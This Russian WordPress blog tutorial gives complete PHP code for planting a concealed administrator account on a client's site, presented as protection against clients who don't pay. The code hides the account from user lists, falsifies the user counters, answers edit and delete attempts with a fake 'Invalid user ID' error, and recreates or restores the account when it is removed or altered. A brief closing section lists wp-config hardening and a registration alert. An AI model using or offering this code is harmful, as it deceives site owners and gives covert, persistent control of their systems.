Создание скрытого администратора как способ обезопасить себя при работе с недобросовестными клиентами

Прежде всего скажу — в большинстве случаев так делать не нужно, и если у вас проблема с доверием к клиенту, во-первых, обязательно берите предоплату, а во вторых, ведите разработку на своём собственном тестовом сервере. Только и всего.

Небольшой отступление — да, это премиум пост, и ввиду отсутствия рекламы, премиум посты будут периодически появляться на моём сайте, однако во первых, не чаще, чем раз в месяц, во вторых — в них никогда не будут попадать общие руководства по WordPress, как например руководство по миниатюрам или по работе с WP_Cron. В рубрику премиум постов войдут в основном мои собственные наработки, которых особо и не встретишь в интернете.

Шаг 1. Скрываем пользователя отовсюду, где он может выводиться

Сначала сделаем так, чтобы только скрытый пользователь мог видеть сам себя в списках с пользователями.

Это может быть например страница со всеми пользователями в админке или выпадающий список авторов. Код работает для всех циклов вывода пользователей сайта без исключения.

add_action( 'pre_user_query', 'misha_protect_user_query' );
 
function misha_protect_user_query( $user_search ) {
	$user_id = get_current_user_id();
	$id = get_option('_pre_user_id');
 
	if ( is_wp_error( $id ) || $user_id == $id)
		return;
 
	global $wpdb;
	$user_search->query_where = str_replace('WHERE 1=1',
				"WHERE {$id}={$id} AND {$wpdb->users}.ID<>{$id}",
				$user_search->query_where
				);
}

  • Строчка 5 — воспользуемся функцией get_option() для получения ID скрытого пользователя из поля _pre_user_id.
  • 7-й строкой, при помощи get_current_user_id() проверяем, совпадает ли ID текущего авторизованного пользователя с ID скрытого администратора, который находится в wp_options базы данных сайта. Если совпадает, то никаких манипуляций делать не будем, просто выходим из функции (зачем скрывать себя от себя самого же).

Шаг 2. Корректируем счетчики количества пользователей, чтобы никто ничего не заподозрил

Внимательно посмотрите на скриншот — на нём на счетчиках четко видно, что всего пользователей 3 и среди них два администратора, а по факту в таблице отображается только два пользователя (один администратор).

Несовпадение количества пользователей в админке WordPress
При создании скрытого пользователя WordPress очень важно, чтобы счетчики количества его не выдавали.

Чтобы такого нонсенса не происходило, просто используйте этот код:

add_filter('views_users','protect_user_count');
 
function protect_user_count( $views ){
 
	$html = explode('<span class="count">(',$views['all']);
	$count = explode(')</span>',$html[1]);
	$count[0]--;
	$views['all'] = $html[0].'<span class="count">('.$count[0].')</span>'.$count[1];
 
	$html = explode('<span class="count">(',$views['administrator']);
	$count = explode(')</span>',$html[1]);
	$count[0]--;
	$views['administrator'] = $html[0].'<span class="count">('.$count[0].')</span>'.$count[1];
 
	return $views;
}

  • Получаемый функцией массив $views содержит примерно следующую информацию:
    Array
    (
        [all] => <a href='users.php' class="current">Все <span class="count">(3)</span></a>
        [administrator] => <a href='users.php?role=administrator'>Администратор <span class="count">(2)</span></a>
        [editor] => <a href='users.php?role=editor'>Редактор <span class="count">(1)</span></a>
    )

    И наша задача в этом массиве уменьшить на единицу количество пользователей для «Все» и для «Администратор»

  • Я не стал далеко ходить и сделал всё просто — через PHP-функцию explode(), но думаю тут можно сделать и меньше строчек кода при помощи регулярных выражений.

Шаг 3. Закрываем доступ к странице редактирования пользователя


Дело в том, что на страницу редактирования каждого пользователя можно попасть просто подбирая параметр ID в строке браузера, например wp-admin/user-edit.php?user_id=ТУТ_ПОДБИРАЕМ_ID.

Представляете, какое удивление будет у человека, если он вдруг абсолютно случайно таким образом наткнётся на страницу редактирования какого-то неведомого пользователя, который нигде не отображается. Наверное его первой мыслью будет то, что его сайт взломали и он либо сам попытается искоренить вашего пользователя, либо обратится за помощью к более сведущим людям.

Чтобы этого не случилось и чтобы никто не мог попасть на страницу редактирования скрытого пользователя кроме него самого, применим простенький код. Даже если кто-то введёт в адресной строке корректный ID вашего пользователя, сделаем так, чтобы ему было отдано сообщение о некорректном ID — всё как положено, никаких подозрений.

Ошибка о неверном ID пользователя WordPress
Сообщение о неверном ID при попытке доступа к странице редактирования скрытого пользователя.

Код будет следующий:

add_action('load-user-edit.php','misha_protect_users_profiles');
 
function misha_protect_users_profiles() {
	$user_id = get_current_user_id();
	$id = get_option('_pre_user_id');
 
	if( isset( $_GET['user_id'] ) && $_GET['user_id'] == $id && $user_id != $id)
		wp_die(__( 'Invalid user ID.' ) );
}


В принципе тут всё очень просто — опять при помощи get_option() получаем из базы ID скрытого пользователя и просто сравниваем его с переменной $_GET['user_id'].

Шаг 4. Ставим запрет на удаление пользователя


А дело в том, что с удалением ситуация в точности такая же — у нас есть возможность попасть напрямую на страницу удаления любого пользователя в админке просто подбирая GET-параметр в браузерной строке.

Давайте сделаем так, чтобы выводилось точно такое же сообщение, как в предыдущем шаге, о некорректном ID пользователя.

add_action('admin_menu', 'protect_user_from_deleting');
 
function protect_user_from_deleting(){
 
	$id = get_option('_pre_user_id');
 
	if( isset( $_GET['user'] ) && $_GET['user']
	&& isset( $_GET['action'] ) && $_GET['action'] == 'delete'
	&& ( $_GET['user'] == $id || !get_userdata( $_GET['user'] ) ) )
		wp_die(__( 'Invalid user ID.' ) );
 
}

  • На 7-8 строчке мы просто проверяем, что находимся именно на странице удаления пользователя.
  • На 9-й должно выполняться одно из двух условий — либо пользователя не существует вовсе, либо это как раз таки страница удаления скрытого пользователя.

Шаг 5. Ставим защиту от удаления или изменения пользователя напрямую через базу данных


Если человек, который пользуется сайтом, более или менее прошарен, если он знает, что такое база данных и даже умеет ей пользоваться напрямую, тогда он может случайно зайти в таблицу wp_users и увидеть там неладное.

В этом коде я проработал два сценария: попытку удаления пользователя и попытку смены его пароля с последующей сменой емайла.

$args = array(
	'user_login' => 'Ваш логин пользователя',
	'user_pass' => 'Пароль',
	'role' => 'administrator',
	'user_email' => 'Емайл'
);
 
if( !username_exists( $args['user_login'] ) ){
	$id = wp_insert_user( $args );
	update_option('_pre_user_id', $id);
} else {
	$hidden_user = get_user_by( 'login', $args['user_login'] );
	if ( $hidden_user->user_email != $args['user_email'] ) {
		$id = get_option( '_pre_user_id' );
		$args['ID'] = $id;
		wp_insert_user( $args );
	}	
}

В заключение: Весь код целиком

Для того, чтобы вам было удобно, я собрал весь код в одном месте. Вставлять я думаю вы знаете куда, ну а если не знаете, то и functions.php сгодится.

add_action('pre_user_query','misha_protect_user_query');
add_filter('views_users','protect_user_count');
add_action('load-user-edit.php','misha_protect_users_profiles');
add_action('admin_menu', 'protect_user_from_deleting');
 
function misha_protect_user_query( $user_search ) {
	$user_id = get_current_user_id();
	$id = get_option('_pre_user_id');
 
	if ( is_wp_error( $id ) || $user_id == $id)
		return;
 
	global $wpdb;
	$user_search->query_where = str_replace('WHERE 1=1',
				"WHERE {$id}={$id} AND {$wpdb->users}.ID<>{$id}",
				$user_search->query_where
				);
}
 
function protect_user_count( $views ){
 
	$html = explode('<span class="count">(',$views['all']);
	$count = explode(')</span>',$html[1]);
	$count[0]--;
	$views['all'] = $html[0].'<span class="count">('.$count[0].')</span>'.$count[1];
 
	$html = explode('<span class="count">(',$views['administrator']);
	$count = explode(')</span>',$html[1]);
	$count[0]--;
	$views['administrator'] = $html[0].'<span class="count">('.$count[0].')</span>'.$count[1];
 
	return $views;
}
 
function misha_protect_users_profiles() {
	$user_id = get_current_user_id();
	$id = get_option('_pre_user_id');
 
	if( isset( $_GET['user_id'] ) && $_GET['user_id'] == $id && $user_id != $id)
		wp_die(__( 'Invalid user ID.' ) );
}
 
function protect_user_from_deleting(){
 
	$id = get_option('_pre_user_id');
 
	if( isset( $_GET['user'] ) && $_GET['user']
	&& isset( $_GET['action'] ) && $_GET['action'] == 'delete'
	&& ( $_GET['user'] == $id || !get_userdata( $_GET['user'] ) ) )
		wp_die(__( 'Invalid user ID.' ) );
 
}
 
$args = array(
	'user_login' => 'Ваш логин пользователя',
	'user_pass' => 'Пароль',
	'role' => 'administrator',
	'user_email' => 'Емайл'
);
 
if( !username_exists( $args['user_login'] ) ){
	$id = wp_insert_user( $args );
	update_option('_pre_user_id', $id);
 
	// если мультисайт, то можно и суперадминистратора добавить
	// grant_super_admin( $id );
} else {
	$hidden_user = get_user_by( 'login', $args['user_login'] );
	if ( $hidden_user->user_email != $args['user_email'] ) {
		$id = get_option( '_pre_user_id' );
		$args['ID'] = $id;
		wp_insert_user( $args );
	}	
}

Как защитить свой собственный сайт от подобных вещей.


Разумеется, самый эффективный метод — это найти этот код, удалить его, а потом вместе с ним и пользователя, но всё дело в том, что обнаружить что-то неладное вы можете слишком поздно.

Поэтому разберемся именно с теми способами защиты, которые не дадут пользователю особо навредить.

Для того, чтобы в этом разобраться, сначала нужно понять, что вообще можно сделать такого с сайтом, если у тебя есть доступ в админку, но нет скажем FTP.

Рассматривать тупо удаление всего контента не буду, просто какой в этом смысл. Итак, основная вещь, которая даёт большую свободу действий, это редактирование PHP, а без FTP доступа сделать это можно следующими способами:

  • Через редактор WordPress, Плагины > Редактор или Темы > Редактор, этот редактор отключается вставкой в wp.config.php кода:
    define('DISALLOW_FILE_EDIT', true);
  • Установкой своих плагинов (темы тоже считаются, но это будет слишком палевно). Запрет установки новых плагинов и тем, а также редактирование старых (первый пункт получается тоже сюда входит) реализуется следующей строчкой в wp-config.php:
    define('DISALLOW_FILE_MODS', true);

И ещё кое-что, у функции, через которую проходят все регистрации и обновления пользователей wp_insert_user() есть хук user_register — вы можете просто повесить на него уведомление, которое будет приходить вам по емайл каждый раз при регистрации пользователя (даже если это сделано через код).

Миша

Впервые познакомился с WordPress в 2009 году. Организатор и спикер на конференциях WordCamp. Преподаватель в школе Нетология.

Пишите, если нужна помощь с сайтом или разработка с нуля.

Комментарии — 24

Чтобы оставить комментарий, пожалуйста, зарегистрируйтесь или войдите.

Миша Рудрастых и WordPress

Полезности из мира WordPress и жизни студии.

Мой телеграм-канал